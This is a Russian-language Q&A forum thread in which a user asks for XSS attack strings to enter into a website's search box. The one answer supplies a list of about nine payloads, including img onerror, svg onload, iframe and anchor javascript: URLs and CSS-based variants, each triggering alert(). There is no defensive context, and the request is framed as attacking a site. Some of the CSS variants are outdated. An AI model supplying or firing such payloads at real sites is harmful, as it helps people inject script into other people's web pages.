Кто нибудь может дать список команд в строку поиска на сайте для XSS атаки?

Question

Кто нибудь может дать список команд в строку поиска на сайте для XSS атаки?

Катли Катлиев Ученик (110), на голосовании 2 недели назад

весь инет облазил ничего нормального не нашел, знаю только <script>alert(0)</script>

Answer 1

плохо искал:
Вариант с использованием картинки <img src="x" onerror="alert('XSS')">
Использование атрибута события для кнопки <button onclick="alert('XSS')">Click me</button>
Использование атрибута onload в теге <body> -> <body onload="alert('XSS')">
Внедрение с помощью <iframe> -> <iframe src="javascript:alert('XSS');"></iframe>
Внедрение с использованием <input> -> <input type="text" value="XSS" onfocus="alert('XSS')">
Вариант с использованием SVG <svg onload="alert('XSS')"></svg>
Использование CSS для вызова JavaScript <style>@import 'javascript:alert(1)';</style>
XSS через ссылку <a href="javascript:alert('XSS')">Click me</a>
Атака через атрибут style: <div style="background-image: url('javascript:alert(1)')">

надеюсь нашёл для тебя то что надо.